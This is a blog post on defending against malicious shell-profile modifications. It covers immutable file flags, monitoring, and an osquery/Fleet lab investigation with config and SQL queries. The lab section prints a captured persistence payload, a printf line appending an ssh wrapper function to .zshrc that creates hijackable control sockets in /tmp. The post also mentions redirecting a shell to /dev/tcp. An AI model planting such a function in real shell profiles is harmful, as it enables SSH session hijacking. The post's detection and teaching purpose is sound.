Defending Against Shell Profile Attacks

A few months ago I wrote on the subject of using the shell configuration files to launch malicious code. After writing that up I started my discovery work on what it would take to successfully defend or outright prevent these attacks from occurring. While I did find some methods that do prevent this type of modification, none of them truly solved the issue without any adverse effects when deployed at scale. 

From my perspective, there are a few reasons why this issue is hard to solve.

  1. If an attacker has a method to run commands, locking down configuration files does not prevent the sourcing of another file on the system. This does mean that another malicious file is left on the filesystem. It may block one path, but any worthwhile adversary will find another method to get code loaded into the shell. 
  2. If an attacker succeeds in getting code into the shell, there is no set exploit that is being attacked. The range of attacks that can be run from an interactive shell is endless. 
  3. Shell configuration files are meant to be edited by the end user. Any attempt to block or limit access to these files can be seen as overly protective policies from the IT or Security organization. 

As I see it , there are two major methods that a team can implement. Let’s dive in to where and when to use them.

Lock It Down

Admittedly this is the first thing that I thought of. After all, the MITRE ATT&CK page on this technique shows locking down these files as the mitigation. In practice, this is incredibly hard to implement without negatively impacting your end users. 

To look at this path a bit more, here’s an example of an immutable file on MacOS. I’ve created an empty text file named file. Issuing the command ls -lO <file> will show the attributes currently set on the file.

~/demo $ touch file.txt
~/demo $ ls -lO file.txt
-rw-r--r-- 1 user staff - 0 Mar 24 09:33 file.txt

A common method to get text into a file is to echo the contents of what you want to go into the file, then append that to the end of the file where you want the contents to end up.

~/demo $ echo "Text redirected to the file" >> file.txt
~/demo $ cat file.txt
Text added via nano
Text redirected to the file

Setting the immutable flag on the file by issuing the command sudo chflags schg file.txt will make the file immutable, unwritable by any user, including root.

~/demo $ sudo chflags schg file.txt
Password:
~/demo $ sudo ls -lO file.txt
-rw-r--r-- 1 user staff schg 0 Mar 24 09:33 file.txt
~/demo $ echo "More text redirected to the file" >> file
zsh: operation not permitted: file.txt
~/demo $ sudo su
~/demo # echo "More text redirected to the file" >> file
zsh: operation not permitted: file.txt

Immutable files aren’t just a MacOS feature. Most BSD based operating systems can use chflags. Linux based systems can also set file attributes using the chattr command.

This is an easy win for the Blue Team right? Not exactly, this breaks the usability covered in #3. You might be able to get away with it for some users, but for those who are accustomed to making personal changes to their shell, this will certainly rub them the wrong way. Additionally, those users that have sudo access will just remove the flag. 

There is another issue that is non technical that can result from blocking the ability to edit these files. Eroding the relationship between the Security Department and the rest of the Organization. It’s no secret that the workforce in any office can be an important asset to the security team. Users seeing their lost productivity as a victim of the security policy are far less likely to view the Security org as a partner and more of a governing body whose default answer is no. The relationship between security and the rest of the organization is extremely hard to keep balanced, but is absolutely worth the time invested.

Well if blocking alone is not viable…

Monitor/Alert on Everything

I would hope that most organizations already have a good security monitoring and alerting system in place. If your org doesn’t, that is where I would focus on first. Do keep in mind that more noise is not the goal. What we want to do is retrieve all of the relevant data that shows a clear picture about the IoA or IoC that triggered the alert. 

For example, an alert showing that bashrc was modified could just be a developer setting a new python path variable. Or it could be someone malicious redirecting an interactive shell to /dev/tcp. Retrieving supporting logs to build the full story around the alert will give your blue team a good base to quickly identify false positives, or start a larger investigation when the data does look suspicious.

The Balancing Act

This should come as no surprise, but the best defensive method against attacks like this is a mix of both methods. Start with ensuring that your logging configuration is deployed automatically and consistently across the network. Whether that be by GPO, Ansible, scripts, etc… Just make sure that anything stood up in your environment has the logging configuration applied to them without any manual intervention from the administrators. 

Now that the logs are rolling in from your environment, look towards the alerts. Some of your alerts will likely come from your anti-malware or anti-exploit software. Take the time to build in specific alerts for exploit tactics that are being used in the wild. In this example, detecting printf, echo, or any writes to shell configuration files should result in an alert.

Now that logging and alerting is setup, let’s circle back to blocking. In what instances is blocking acceptable? 

In my opinion, the further you get away from the end user workstation the easier it is to implement more restrictive policies without facing backlash from the users. The end user workstation might allow for customizations to the shell configuration files, however the jump host they connect to in order to work with the production environment may have some files locked down or have the user dropped into a restricted shell with only the necessary commands allowed. What types of restrictions are viable is totally dependent on the environment. This is not a one size fits all type of solution. 

Investigating with osquery

Up until this point we’ve touched on some bigger ideas, let’s switch gears and look at an example in a lab to see how we might discover attacks like this. In this example we’ll be using fleetdm, a fork of Kolide Fleet which is now deprecated. It’s not the easiest thing to setup, but this guide helped me get the prerequisites running correctly.

With the server setup and my clients connected, we’ll edit the osquery options to watch for file events on the systems reporting back to Fleet.

Settings -> osquery options. 

Add the file paths that you want to monitor. My options file ended up looking like this.

spec:
config:
options:
logger_plugin: tls
pack_delimiter: /
logger_tls_period: 10
distributed_plugin: tls
disable_distributed: false
logger_tls_endpoint: /api/v1/osquery/log
distributed_interval: 2
distributed_tls_max_attempts: 3
file_paths:
bash:
- /etc/profile
zsh:
- /etc/zsh/zshenv
- /etc/zsh/zshrc
- /etc/zsh/zprofile
- /etc/zsh/zlogin
decorators:
load:
- SELECT uuid AS host_uuid FROM system_info;
- SELECT hostname AS hostname FROM system_info;
overrides:
platforms:
darwin:
file_paths:
MacOS_bash_config:
- /var/root/.profile
- /var/root/.bashrc
- /Users/%/.profile
- /Users/%/.bashrc
MacOS_zsh_config:
- /Users/%/.zshrc
ubuntu:
file_paths:
Linux_bash_config:
- /root/.profile
- /root/.bashrc
- /home/%/.profile
- /home/%/.bashrc
Linux_zsh_config:
- /home/%/.zshrc

That configuration will go out to the managed devices automatically on check in with the Fleet server.

With that set, let’s test it out. Let’s say all the information we receive from our alert is that the file .zshrc has been edited on the endpoint Mac-Lab. We know that this may just be the user customizing their shell, so we need to dig in and get more info. 

First thing to do is find the alert in Fleet. We are mainly looking for what user edited the file.

SELECT target_path, action, uid, gid, time from file_events
File event for .zshrc modification

So now we know, the file was updated by uid 502. Using that we can search the shell_history table to see what commands were run. Just as a note here, I limited my search to zsh_history since it is default on the MacOS version running. Additionally it logs the command time allowing me to sort commands in descending order.

SELECT * FROM users join shell_history using (uid) WHERE history_file like '%zsh_history%' AND command like '%.zshrc%' AND uid=502 ORDER BY time DESC LIMIT 10;
Command

Well that doesn’t look good. 

printf '\nssh () {\nargs=$@\n\tun_sys=($args)\n\tsocket="/tmp/$RANDOM-$un_sys"\n\tbash -c "/usr/bin/ssh -M -S $socket $args"\n}\n' >> .zshrc

Two things here

  1. This is defining a function named ssh.
  2. The function appears to drop a socket file in /tmp.

Let’s check the network connections to see if there are any active ssh sessions

SELECT local_address, local_port, remote_address, remote_port, state FROM process_open_sockets WHERE remote_port='22';
ssh connection

Not good, there is already a connection running. Verifying that the socket file was actually dropped on to the file system will show is if the malicious code was executed.

SELECT path, type, uid FROM file WHERE path LIKE '/tmp/%';
Socket file

At this point, there is more than enough data here to show that the user needs to be contacted, processes need to be shut down or the workstation needs to be taken offline entirely. 

I had these commands saved for the purposes of the demo, but once you get enough time with the osquery schema, constructing these queries is a very accessible task for most staff. I really enjoy how fast I can get useable data from my systems in front of the people that need to see it. 

This is of course just one way to get a look at this data. The methods that you use in your environment will differ based on the tools that you have. The overall goal here is getting your blue team the right data quickly so they can do what they do best. How you do that is up to you.